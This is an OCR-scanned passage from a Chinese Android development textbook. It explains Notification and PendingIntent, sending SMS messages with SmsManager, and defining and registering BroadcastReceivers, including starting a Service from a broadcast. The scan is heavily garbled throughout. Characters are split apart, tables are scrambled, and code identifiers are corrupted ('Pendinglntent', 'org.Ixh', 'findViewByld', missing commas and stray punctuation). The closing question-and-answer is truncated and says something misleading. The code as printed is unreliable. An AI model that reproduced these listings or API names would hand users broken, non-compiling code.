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在 Android 操作 系统 中 ， 很 多 地 方 都 要 使 用 到 PendingIntent 类 ， 如 发 送 一 些 用 户 的 通知 
(Notification) 或 者 为 用 户 发 送 短信 (SMS ) 等 都 会 使 用 到 此 类 ,下 面 通过 具体 的 功能 进行 说 明 。 


9.7.1 发 送 通知 : Notification 


在 之 前 曾经 讲解 过 Toast 组 件 , 此 组 件 可 以 在 手机 屏幕 上 产生 一 些 信息 框 以 提醒 用 户 某 些 操 
作 ，Notification (通知 ) 组 件 与 Toast 类 似 ， 可 以 
直接 在 Android 手 机 屏幕 的 最 上 面 显示 通知 信息 ， (站 来 自 MLDN 的 消息 。 
如 图 9-50 所 示 。 MyNotification 

当 需 要 为 手机 用 户 进行 通告 信息 提示 时 ， 可 和 
以 使 用 android_app Notification 组 件 完成 ,此 类 的 图 9-50 通知 信息 显示 在 手机 屏幕 项 部 
继承 结构 如 下 : 

java.lang.Object 


b android.app.Notification 
可 以 使 用 Notification 定义 一 条 提示 信息 的 标题 、 时 间 、 内 容 以 及 具体 的 触发 操作 ，Notification 
类 的 常用 方法 如 表 9-33 所 示 。 


表 9-33 ” Notification 类 的 常用 方法 
描述 
创建 一 个 新 的 Notification 对 象 ， 并 指定 
是 示 的 图 标 、 信 息 内 容 及 显示 的 时 间 ， 
如 果 为 立刻 显示 ， 则 直接 使 用 System. 
currentTimeMillis0 设 置 


public Notification(int icon, CharSequence 
tickerText, long when) 


ublic void setLatestEventInfo(Context context, 加 
有 设置 通知 的 标题 、 内 容 以 及 指定 的 


2 | CharSequence contentTitle, CharSequence 
PendingIntent 


contentText, PendingIntent contentIntent 


但 是 要 想 完 成 通知 的 显示 ， 只 依靠 Notification 类 是 不 够 的 ， 还 需要 NotificationManager 类 
的 支持 ， 此 类 定义 如 下 : 


java.lang.Object 
b android.app.NotificationManager 

NotificationManager 类 相当 于 一 个 发 布 Notification 信息 的 组 件 , 如 果 把 NotificationManager 
类 比喻 成 一 个 新 闻 广 播 ， 那 么 每 个 Notification 就 相当 于 一 条 条 的 新 闻 信 息 。 要 想 取 得 
NotificationManager 类 的 对 象 ， 则 必须 依靠 Activity 类 提供 的 方法 ， 如 表 9-34 所 示 。 

表 9-34 Activity 类 定义 的 方法 
No. 描述 
1 取得 系统 服务 的 对 象 


对 于 getSystemService() 方 法 ， 可 以 取得 许多 系统 级 的 服务 , 如 WiFi、POWER、NOTIFCATION 
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等 ， 当 取得 了 NotificationManager 对 象 之 后 ， 就 可 以 利 上 


表 9-35 所 示 的 方法 ， 将 Notification 发 


送出 去 。 
表 9-35 NotificationManager 类 的 常用 方法 
施法 类 型 描述 
public void notify(String tag, int id, Notification 普通 指定 发 送信 息 的 标签 、 显 示 图 
notification) 标 、Notification 对 象 
ee a 人 i 指定 发 送信 息 的 显示 图 标 、 
public void notify(int id, Notification notification) 普通 


Notification 对 象 


普通 。 | 取消 指定 标签、 显示 图 标的 信息 
普通 。 | 取消 指定 图 标的 信息 
普通 。 | 取消 所 有 的 信息 


下 面 结合 Notification 及 PendingIntent 演示 如 何 进 行 通知 的 显示 操作 。 


【 例 9-84】 定义 Activity 程序 ， 发 送 Notification 信息 

package org.Ixh.demo; 

import android.app.Activity; 

import android.app.Notification; 

import android.app.NotificationManager; 

import android.app.Pendinglntent; 

import android.os.Bundle; 

public class MyNotificationDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 


} 
} 


super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


// 父 类 方法 
// 默 认 布 局 管理 器 


NotificationManager notificationManager = (NotificationManager) super 
.getSystemService(Activity.NOTIFICATION_SERVICE);，// 取 得 系统 服务 


Notification notification = new Notification( 
R.drawable.pic_m, 

"来 自 MLDN 的 消息 。"， 
System.currentTimeMillis()); 

Pendinglntent contentlntent = PendinglIntent.getActivity(this, 0, 
super.getintent(), 
Pendinglntent.FLAG_UPDATE_CURRENT); 

notification.setLatestEventlnfo(this, " 魔 乐 科技 "， 
"北京 魔 乐 科技 软件 学 院 (www.MLDNJAVA.cn) "， 
contentlntent); 

notificationManager.notify("MLDN", 
R.drawable.pic_m, 
notification); 


/实例 化 对 象 
/信息 图 标 
/信息 提示 
// 显 示 时 间 


// 取 得 Intent 


/取得 Pendinglntent 


/信息 标题 

// 信 息 内 容 

/ 待 发 送 的 Intent 
/设置 信息 标签 
/设置 图 标 
/发送 信息 


在 本 程序 中 ， 首 先 利 用 super.getSystemService() 方 法 取得 了 NOTIFICATION 的 系统 服务 ， 之 
后 实例 化 Notification 对 象 ， 并 且 指 定 了 显示 的 图 标 〈 在 res-drawable-* 文 件 夹 中 保存 ) 以 及 提示 信 
息 ， 并 将 其 设置 为 立刻 显示 (System.currentTimeMillis()) ， 随 后 通过 setLatestEventImfo() 方 法 设 
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置 当 信息 打开 时 的 通知 内 容 ， 而 此 时 就 需要 使 用 PendingIntent 对 象 指定 操作 意图 ， 最 后 通过 取 
得 的 NotificationManager 对 象 将 通知 信息 发 送 给 用 户 显示 ， 程 序 的 运行 效果 如 图 9-51 所 示 。 


CEE7TTTTEES =|Sjxj 
2011 年 9 月 2 日 

Android 

L] 魔 乐 科技 

北京 魔 乐 科技 软件 学 院 ( www.MLDNJAVA.cn ) 上 午 5:54 


9.7.2 SMS 服务 


之 前 曾经 讲解 过 调用 发 送 手 机 短信 的 Intent， 但 是 通过 Intent 启动 的 手机 短信 发 送 程序 ， 
其 主要 功能 只 是 显示 一 个 发 送 短信 的 窗口 ， 而 要 想 发 送 短信 ， 用 户 需要 手动 进行 。 在 Android 
操作 系统 中 ， 专 门 提供 了 一 个 SmsManager 类 ， 可 以 进行 短信 发 送 程序 的 调用 ， 此 类 的 继承 结 
构 如 下 : 


java.lang.Object 


b, android.telephony.SmsManager 
SmsManager 类 中 所 提供 的 短信 操作 方法 如 表 9-36 所 示 。 
表 9-36 SmsManager 类 的 常用 方法 
描 述 
拆 分 短信 内 容 
取得 默认 手机 的 SmsManager 


2 |public static SmsManager getDefaultO 对 象 


public void sendTextMessage(String destinationAddress, 
3 |String scAddress, String text, PendingIntent sentIntent, 
PendingIntent deliveryIntent) 

public void sendMultipartTextMessage (String 
destinationAddress, String scAddress, ArrayList<String> 
parts, ArrayList<PendingIntent> sentIntents, ArrayList 


发 送 文字 信息 


发 送 多 条 文字 信息 


public void sendDataMessage(String destinationAddress, 
String scAddress, short destinationPort, byte[] data, 
PendingIntent sentIntent, PendingIntent deliveryIntent 


发 送 二 进 制 数据 信息 


An 


发 送 短信 的 操作 最 后 是 通过 sendTextMessage0 方 法 完成 的 ， 此 方法 中 的 参数 作用 如 下 。 
destinationAddress: 收 件 人 地 址 。 
scAddress: 设置 短信 中 心 的 号 码 ， 如 果 设置 为 null， 则 为 默认 中 心 号 码 。 
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各 5 


回 text: 指定 发 送 短信 的 内 容 。 
回 sentmtent: 当 消息 发 出 时 ， 通 过 PendingIntent 来 广播 发 送 成 功 或 者 失败 的 信息 报告 ， 
如 果 该 参数 为 空 ， 则 检查 所 有 未 知 的 应 用 程序 ， 这 样 会 导致 发 送 时 间 延 长 。 
deliveryIntent: 当 信息 发 送 到 收 件 处 时 ， 该 PendingIntent 会 进行 广播 。 
【 例 9-85】 定义 Activity 程序 发 送信 息 
package org.Ixh.demo; 
import java.util.Iterator; 
import java.util.List; 
import android.app.Activity; 
import android.app.Pendinglntent; 
import android.os.Bundle; 
import android.telephony.SmsManager; 
import android.widget. Toast; 
public class MySMSDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /默认 布局 管理 器 
String content = "北京 魔 乐 科技 软件 学 院 (www.mldnjava.cn) ，" 
+ "是 一 家 专门 从 事 Java 高 端 培 训 的 职业 培训 机 构 ，" 
+ "采用 行业 之 中 先进 的 教学 方法 ， 让 学 生 在 四 个 月 内 挑战 自身 的 学 习 极 限 ，" 
+ "提供 同行 业内 最 多 最 好 的 职位 就 业 信息 ， 为 学 生 就 业 插 上 成 功 的 翅膀 。"; 
/| 短信 和 内容 
SmsManager smsManager = SmsManager.getDefault(); /| 短信 管理 类 
Pendinglntent sentlntent = PendingIntent.getActivity( MySMSDemo.this, 0, 
super.getintent(), PendingIntent.FLAG_UPDATE_CURRENT)，// 取 得 Pendinglntent 


if (content.length() > 70) { /| 短信 长 度 大 于 70 字 
List<String> msgs = smsManager.divideMessage(content); 。“ // 拆 分 信息 
lterator<String> iter = msgs .iterator(); // 实 例 化 lterator 
while (iter.hasNext()) { 1/ 迭代 输出 

String msg = iter.next(); // 取 出 每 一 个 子 信息 
smsManager.sendTextMessage("13683527621", null msg, 
sentlntent, null); // 发 送 文 字 信息 
} 

}else{ 1/ 不足 70 字 

smsManager.sendTextMessage("13683527621", null, content, 
sentintent, null); // 发 送 文 字 信息 
} 


Toast.makeText(MySMSDemo.this, "短信 发 送 完 成 ", Toast.LENGTH_LONG).show();// 信 息 
} 
} 
本 程序 首先 指定 了 一 条 要 发 送 的 短信 内 容 ， 之 后 判断 短信 的 长 度 是 否 大 于 70 个 字 ， 如 果 大 
则 使 用 divideMessage() 方 法 将 短信 进行 拆 分 ， 拆 分 之 后 返回 的 数据 类 型 为 ArrayList 集合 ， 


所 以 可 以 通过 帮 代 循环 取出 每 一 条 子 信息 并 进行 发 送 : 如果 短信 长 度 不 大 了 
信息 进行 发 送 ， 发 送 完毕 之 后 通过 Toast 对 用 户 进行 提示 。 
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Pd 


发 送 短 信 需 要 配置 资源 权限 。 | 
i 在 发 送 短 信 时 ， 需 要 用 户 进行 短信 发 送 权限 的 授权 操作 ， 如 果 没 有 授权 ， 则 程序 运行 时 ， 
;会 出 现 如 下 错误 信息 提示 : : 
i 12-29 09:13:16.468: ERROR/AndroidRuntime(806): Caused by: java.lang.SecurityException: : 

Sending SMS message: User 10032 does not have android.permission.SEND_SMS. : 

如 果 要 进行 授权 ， 则 需要 修改 项 目 中 的 AndroidManifestxml 文件 ， 增 加 如 下 语句 : 

<uses-permission android:name="android.permission.SEND_SMS"/> 

配置 完成 之 后 重新 启动 ， 则 不 会 再 提示 之 前 的 错误 信息 。 

另外 ， 需 要 注意 的 是 ， 本 程序 最 好 在 真 机 上 运行 ， 这 样 才 可 以 更 好 地 观察 到 效果 。 


以 上 程序 实现 了 短信 发 送 功能 ， 但 遗憾 的 是 ， 在 Android 中 SmsManager 类 并 不 具备 发 送 彩 
信 的 功能 ， 所 以 如 果 要 想 进 行 彩信 的 发 送 ， 则 只 能 利用 之 前 讲解 的 Intent 操作 完成 。 


9.8 ”广播 机 制 : Broadcast 


9.8.1 认识 广播 


广播 也 是 一 种 信息 的 发 送 机 制 ， 就 好 比 电 视 那 样 ， 用 户 可 以 选择 自己 喜欢 的 电视 节目 ， 但 
电视 台 发送 方 ) 不 会 考虑 用 户 〈 接 收 方 ) 是 如 何 对 电视 信息 进行 处 理 的， 不 管用 户 是 否 在 收 
看 此 频道 ， 电 视 台 都 要 发 送 电视 的 信号 。 例 如 ， 现 在 正在 播放 一 些 金融 投资 的 节目 ， 电 视 台 只 
是 负责 发 送 电视 信息 ， 而 用 户 如 何 对 这 些 内 容 进行 处 理 ， 就 不 是 电视 台所 应 该 考虑 的 事情 了 。 

在 Android 手机 中 存在 着 各 种 各 样 的 广播 信息 ,如 手机 刚 启 动 时 的 提示 信息 、 电 池 不 足 的 警 
告 信息 和 来 电信 息 等 ， 都 会 通过 广播 的 形式 发 送 给 用 户 ， 而 处 理 的 形式 由 用 户 自己 决定 。 

在 Android 操作 系统 中 , 开发 者 可 以 定义 自己 的 广播 组 件 , 但 是 所 有 的 广播 组 件 都 是 以 一 个 
类 的 形式 出 现 的 , 而 且 该 类 必须 继承 自 BroadcastReceiver 类 ,而 后 还 需 向 Android 系统 注册 ,如 
图 9-52 所 示 。 


注册 


| .二 
| 一 


图 9-52 在 Android 上 注册 广播 组 件 


【 例 9-86】 广播 组 件 的 定义 结构 
package org.lxh.demo; 
import android.content.BroadcastReceiver 
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import android.content.Context; 
import android.content.Intent; 
public class MyBroadCastDemo extends BroadcastReceiver { 
@Override 
public void onReceive(Context context, Intent intent) { 
/此 处 编写 代码 
} 


} 

当 用 户 需要 进行 广播 时 ， 可 以 通过 Activity 程序 中 的 sendBroadcast0 方 法 触发 所 有 的 广播 组 
件 ， 而 每 一 个 广播 组 件 在 进行 广播 启动 之 前 ， 也 必须 判断 用 户 所 传递 的 广播 操作 是 否 是 指定 的 
Action 类 型 ， 如 果 是 ， 则 进行 广播 的 处 理 ， 如 图 9-53 所 示 。 


一 一 广 撩 组 件 一 >  、 广播 操作 ， 
mm "| 
判断 是 否 符合 广播 条 件 了 
图 9-53 Android 的 广播 处 理 过 程 

在 Android 操作 系统 中 , 每 启动 一 个 广播 都 需要 重新 实例 化 一 个 新 的 广播 组 件 对 象 , 并 自动 
调用 类 中 的 onReceive0 方 法 对 广播 事件 进行 处 理 ， 下 面 通过 一 个 简单 的 程序 演示 广播 的 基本 操 
作 及 配置 。 

【 例 9-87】 定义 布局 管理 文件 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /定义 按钮 组 件 

android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 

android:text=" 玫 努 广 三 /> /| 默认 显示 文字 
</LinearLayout> 


在 此 布局 管理 器 中 定义 了 一 个 按钮 ， 而 以 后 的 程序 将 通过 按钮 发 送 广 播 ， 并 根据 配置 执行 
广播 操作 。 
【 例 9-88】 定义 Activity 程序 发 送 广播 一 一 MyBroadcastDemo.java 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content. Intent; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener'; 

import android.widget.Button; 

public class MyBroadcastDemo extends Activity { 
private Button mybut ; /按钮 组 件 
@Override 
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public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /设置 默认 布局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()); /设置 监听 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
Intent it = new Intent(Intent.ACT/ION_ED/T); /启动 Action 
MyBroadcastDemo.this.sendBroadcast(it); // 进 行 广播 
} 
} 


b 
本 程序 在 按钮 组 件 上 设置 了 一 个 单 击 事件 , 当 用 户 单 击 此 按钮 后 会 通过 sendBroadcast() 方 法 
发 送 广播 
【 例 9-89】 定义 广播 组 件 ， 组 件 类 继承 BroadcastReceiver 类 
package org.Ixh.demo; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content. Intent; 
import android.widget. Toast; 
public class MyBroadcastReceiverUtil extends BroadcastReceiver { /继承 BroadcastReceiver 
public MyBroadcastReceiverUtil(){ // 构 造 方 法 
System.out.printIn(”** 每 次 广播 都 会 实例 化 一 个 新 的 广播 组 件 进 行 操作 。"); 
} 
@Override 
public void onReceive(Context context, Intent intent) { 
Toast.makeText(context, "广播 已 经 启动 ", Toast.LENGTH_LONG).show();// 显 示 信息 
} 
} 
由 于 每 次 广播 都 会 重新 实例 化 广播 组 件 类 的 对 象 ， 所 以 为 了 方便 验证 此 功能 ， 在 构造 方法 
中 增加 了 一 条 输出 语句 ， 读 者 可 以 根据 执行 观察 程序 的 后 台 输出 ， 而 onReceive( 方 法 为 广播 处 
理 的 核心 方法 ， 在 本 程序 中 直接 利用 Toast 组 件 显示 了 一 个 提示 框 。 
【 例 9-90】 在 AndroidManifest.xml 文件 中 注册 广播 组 件 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http:/schemas.android.com/apk/res/android”" 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" /| 版 本 号 
android:versionName="71.0> // 显 示 给 用 户 的 信息 
<uses-sdk android:minSdkVersion="10"/> // 程 序 运行 的 最 低 版 本 编号 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon” // 程 序 图标 
android:label="@string/app_name’”> // 显 示 文 字 
<activity /定义 Activity 程序 
android:name=".MyBroadcastDemo”" /Activity 程序 类 
android:label="@string/app_name”> // 显 示 文 字 
<intent-filter> // 系 统 启动 时 运行 


447 


名 师 讲 坛 一 一 Android 开发 实战 经 典 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 

<receiver // 定 义 广播 处 理 
android:name="MyBroadcastReceiverUtil" /广播 处 理 类 
android:enabled="true"> // 启 用 广播 
<intent-filter> /匹配 Action 操作 时 广播 


<action android:name="android.intent.action.EDIT" /> 
</intent-filter> 
</receiver> 
</application> 


</manifest> 
所 有 的 广播 组 件 都 必须 在 Android 系统 上 进行 注册 ， 所 以 在 本 程序 中 配置 了 一 个 <receiver> 节 


点 表示 广播 组 件 ， 配 置 时 指定 了 广播 程序 的 处 理 类 (android:name=" MyBroadcastReceiverUtil") ， 
让 广播 处 于 启用 状态 (android:enabled="true"， 默 认为 tue， 如 果 设 置 为 false， 则 表示 此 广播 组 
件 不 可 用 ) ， 其 中 的 <intent-filter> 节 点 表示 只 有 执行 此 Action 时 才 会 进行 广播 。 程 序 运 行 后 ， 
当 用 户 单 击 按钮 之 后 会 出 现 相应 的 广播 信息 ， 程 序 的 运行 效果 如 图 9-54 所 示 。 


广播 已 经 启动 


图 9-54 调用 广播 
本 程序 只 是 通过 一 个 Activity 程序 调用 了 一 个 广播 组 件 ， 而 且 在 程序 中 所 使 用 的 Action 也 


是 由 系统 定义 好 的 〈android.intent.action.EDIT) ， 下 面 对 以 上 程序 进行 扩展 ， 使 用 一 个 自 定 义 的 
Action， 并 且 向 广播 中 传送 一 些 数据 ， 而 此 时 程序 中 注册 intent-filter 时 ， 将 直接 利用 Activity 类 
中 的 两 个 方法 完成 手工 注册 及 手工 注销 ， 这 两 个 方法 如 表 9-37 所 示 。 


表 9-37 Activity 类 对 Broadcast 的 支持 


描述 


方 ” 法 


public Intent registerReceiver(BroadcastReceiver 注册 一 个 Broadcast 广播 ， 并 指定 


1 
receiver, IntentFilter filter) IntentFilter 
ublic void unregisterReceiver(BroadcastReceiver A i 
2 |? 人 注销 指定 的 Broadcast 广播 
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Tecelver 


在 使 用 registerReceiver( 方 法 注册 广播 时 ， 需 要 指定 一 个 IntentFilter 类 的 对 象 ， 此 类 的 作 
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与 之 前 在 AndroidManifest xml 文件 中 的 配置 相同 ， 如 下 所 示 : 
<receiver android:name="MyBroadcastDemo" android:enabled="true"> 
<intent-filter> 
<action android:name="org./xh.action.MLDN" /> 
</intent-filter> 
</receiver> 
如 果 在 操作 广播 时 不 希望 通过 配置 文件 直接 进行 广播 的 过 滤 配 置 , 那么 就 可 以 依靠 Android 
操作 系统 所 提供 的 android.content.IntentFilter 类 完成 ， 此 类 的 主要 功能 是 允许 用 户 根据 自己 的 要 
求 对 广播 操作 进行 手工 配置 ， 在 IntentFilter 类 中 提供 的 常用 方法 如 表 9-38 所 示 。 


表 9-38 IntentFilter 类 提供 的 常用 方法 


描述 
public IntentFilterO 创建 一 个 空 的 IntentFilter 对 象 
public IntentFilter(String action) 创建 一 个 IntentFilter 对 象 ， 并 指定 Action 
public final void addAction(String action) : 增加 一 个 要 过 滤 的 Action 
public final void addCategory(String categol bb 增加 一 个 要 过 滤 的 Category 


public final boolean hasAction(String action 判断 指定 的 Action 是 否 存在 
public final boolean hasCategory(String catego 判断 指定 的 Category 是 否 存 在 
下 面 使 用 手工 方式 完成 广播 的 操作 。 
【 例 9-91】 定义 布局 管理 文件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /定义 按钮 组 件 

android:id="@+id/mybut”" // 组 件 iD， 程序 中 使 用 

android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 

android:text= "并 努 广 三 /> // 黑 认 显示 文字 
</LinearLayout> 


【 例 9-92】 定义 Activity 程序 ， 手 工 进行 广播 的 配置 一 一 MyBroadcastDemo.java 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content. Intent; 
import android.content. IntentFilter; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
public class MyBroadcastDemo extends Activity { 


private Button mybut ; /按钮 组 件 
private MyBroadcastReceiverUtil broadUtil = null ; /广播 接收 者 
@Override 
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public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /设置 默认 布局 管理 器 
this.mybut = (Button) super .findViewByld(R.id.mybut) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerlImpl()); V/ 设 置 监 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
Intent it = new Intent("org.Ixh.action.MLDN") ; /指定 Action 
it.putExtra("msg", "www.mldnjava.cn"); /附加 数据 
IntentFilter filter = new IntentFilter("org.Ixh.action.MLDN ) ; 
MyBroadcastDemo.this.broadUtil = new MyBroadcastReceiverUtil() ; 
MyBroadcastDemo.this.registerReceiver( 
MyBroadcastDemo.this.broadUtil, filter); /注册 广播 
MyBroadcastDemo.this.sendBroadcast(it); /进行 广播 
} 
} 
@Override 


protected void onStop() { 
super.unregisterReceiver(MyBroadcastDemo.this.broadUtil) ; /注销 广播 
Super.onStop(); 


} 


} 

在 本 程序 的 onClick() 操 作 中 ， 首 先 创建 了 一 个 IntentFilter 类 的 对 象 ， 之 后 手工 实例 化 一 个 
MyBroadcastReceiverUtil 类 (广播 接收 者 ) 的 对 象 ， 并 且 通 过 registerReceiver() 方 法 进行 广播 组 
件 及 过 滤 组 件 的 配置 ， 而 后 在 onStop0 方 法 中 使 用 unregisterReceiver0 方 法 注销 了 此 广播 组 件 。 
由 于 本 程序 通过 Intent 向 广播 组 件 里 面 传送 了 部 分 数据 , 所 以 在 广播 组 件 中 将 直接 对 这 些 传送 的 
附加 数据 进行 显示 。 

【 例 9-93】 定义 广播 组 件 
package org.Ixh.demo; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content. Intent; 
import android.widget. Toast; 


MyBroadcastDemo 


public class MyBroadcastDemo extends BroadcastReceiver { /| 继承 BroadcastReceiver 
@Override 
public void onReceive(Context context, Intent intent) { // 处 理 广播 事件 
if ("org.Ixh.action.MLDN".equals(intent.getAction())) { // 判 断 是 指定 的 Action 
String msg = intent.getStringExtra("msg") ; // 取 得 附加 信息 


Toast.makeText(context, msg, Toast.LENGTH_LONG).show(); // 显 示 信 息 


} 
} 
在 本 广播 组 件 中 ， 首 先 判 断 传递 过 来 的 Action 是 否 是 指定 的 Action， 如 果 是 ， 则 从 Intent 
对 象 中 取出 数据 ， 并 通过 Toast 组 件 进行 显示 ， 程 序 的 运行 效果 如 图 9-55 所 示 。 
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本 程序 不 再 需要 配置 AndroidManifestxml 文件 。 
由 于 本 程序 中 直接 利用 程序 配置 了 <IntentFilter> 节 点 ， 所 以 不 需要 在 AndroidManifest.xml 
文件 中 配置 任何 内 容 ， 


www mldnjava cn 


图 9-55 手工 配置 广播 及 过 滤 
9.8.2 通过 Broadcast 启动 Service 


在 前 面 已 经 讲解 过 通过 Activity 程序 启动 Service 的 操作 ， 实 际 上 Service 也 可 以 通过 
Broadcast 启动 ， 只 需要 在 Broadcast 中 调用 startService0 方 法 即 可 完成 ， 下 面 通过 一 段 程序 演示 
具体 的 操作 。 

【 例 9-94】 定义 一 个 Service 类 

package org.Ixh.demo; 

import android.app.Service; 

import android.content.Intent; 

import android.os.IBinder; 

public class MyServiceUtil extends Service { /| 继承 Service 

@Override 
public IBinder onBind(Intent intent) { // 绑 定时 触发 
return null; 


} 

@Override 

public void onCreate() { // 创 建 时 触发 
System.out.printiIn(™*** Service onCreate()"); 
super.onCreate(); 

} 

@Override 

public void onDestroy() { 1/ 销毁 时 触发 
System.out println(“** Service onDestroy()"); 
super.onDestroy(); 
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@Override 
public int onStartCommand(lntent intent, 
int flags, int startld) { /启动 时 触发 
System.outprintln(“*** Service onStartCommand() Intent = " + intent); 
return Service.START_CONTINUATION_MASK.; 
} 
} 
由 于 本 程序 只 是 演示 在 Broadcast 中 启动 Service 的 操作 ， 所 以 只 在 Service 的 子 类 中 获 写 了 


儿 个 生命 周期 的 方法 。 
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【 例 9-95】 定义 Broadcast 处 理 类 一 一 MyBroadcast.java 
package org.Ixh.demo; 
import android.content.BroadcastReceiver 
import android.content.Context; 
import android.content.Intent'; 
public class MyBroadcastReceiverUtil extends BroadcastReceiver {// 继 承 BroadcastReceiver 
@Override 
public void onReceive(Context context, Intent intent) { 
context.startService(new Intent(context, MyServiceUtil.class));// 启 动 Service 
} 
} 
在 MyBroadcast 类 的 onReceive() 方 法 中 ， 主 要 是 通过 startService() 方 法 启动 一 个 Service。 
【 例 9-96】 定义 信息 显示 的 资源 文件 一 一 strings.xml 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string name="hello">www.MLDNJAVA.cn</string> 
<string name="app_name'> 广 播 服务 </string> 
</resources> 
【 例 9-97】 定义 布局 管理 文件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 

android:text="@string/hello" /> //! 上 默认 显示 文字 
</LinearLayout> 


【 例 9-98】 定义 Activity 程序 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.Intent'; 

import android.os.Bundle; 

public class MyBroadcastDemo extends Activity { 
private MyBroadcastReceiverUtil broadUtil = null ; // 广 播 接收 者 
@Override 
public void onCreate(Bundle savedInstanceState) { 
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super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /设置 默认 布局 管理 器 
Intent it = new Intent("org .Ilxh_action.MLDN") ; /指定 Action 
MyBroadcastDemo.this.broadUtil = new MyBroadcastReceiverUtil() ; 
MyBroadcastDemo.this.sendBroadcast(it) ; /启动 广播 

} 

@Override 


protected void onStop() { 
super.unregisterReceiver(MyBroadcastDemo.this.broadUtil) ; /注销 广播 
super.onStop(); 


} 
} 


在 此 Activity 程序 中 ， 实 例 化 了 一 个 Intent 对 象 ， 之 后 将 此 对 象 通过 Broadcast 发 送出 去 ， 
由 于 Broadcast 和 Service 都 需要 在 AndroidManifest.xml 文件 中 进行 注册 ， 所 以 下 面 修改 
AndroidManifest.xml 文件 的 定义 。 
【 例 9-99】 修改 AndroidManifest.xml 文件 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http:/schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" /版 本 号 
android:versionName="1.0"> // 显 示 给 用 户 的 信息 


<uses-sdk android:minSdkVersion="10" /> // 程 序 运 行 的 最 低 版 本 编号 


<application // 配 置 应 用 程序 

android:icon="@drawable/icon" // 程 序 图 标 

android:label="@string/app_name’> // 显 示 文 字 

<activity // 定 义 Activity 程序 
android:name=".MyBroadcastDemo” /Activity 程序 类 
android:label="@string/app_name” // 显 示 文 字 
android:theme="@android:style/Theme.Dialog"> ”// 对 话 框 风格 显示 
<intent-filter> // 匹 配 Action 操作 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 

<service android:name=".MyServiceUtil" /> // 定 义 服务 

<receiver // 定 义 广播 
android:name="MyBroadcastReceiverUtil" /广播 操作 类 
android:enabled="true’> // 启 用 广播 
<intent-filter> // 匹 配 Action 操作 时 广播 


<action android:name="org./xh.action.MLDN" /> 
</intent-filter> 
</receiver> 
</application> 
</manifest> 
本 程序 在 配置 <activity> 节 点 时 使 用 了 android:theme="@android:style/Theme.Dialog" 属 性 , 将 
Activity 程序 显示 为 一 个 对 话 框 的 形式 ， 当 此 程序 启动 之 后 ， 在 后 台 将 出 现 如 下 信息 提示 : 

09-07 05:55:03.022: INFO/System.out(849): *** Service onCreate() 
09-07 05:55:03.031: INFO/System.out(849): *** Service onStartCommand() Intent = Intent { cmp= 
org.Ixh.demo/.MyServiceUtil } 


453 


名 师 讲坛 一 一 Android 开发 实战 经 典 


手机 界面 的 显示 效果 如 图 9-56 所 示 。 


广播 服务 


图 9-56 程序 运行 


说 

提问 : 广播 和 服务 有 什么 区 别 ? 

通过 上 面 的 讲解 知道 ， BroadcastReceiver 和 Service 都 是 没有 界面 的 , 那么 二 者 的 区 别 是 
什么 ? 

回答 : BroadcastReceiver 可 以 当 作 Activity 程序 运行 。 

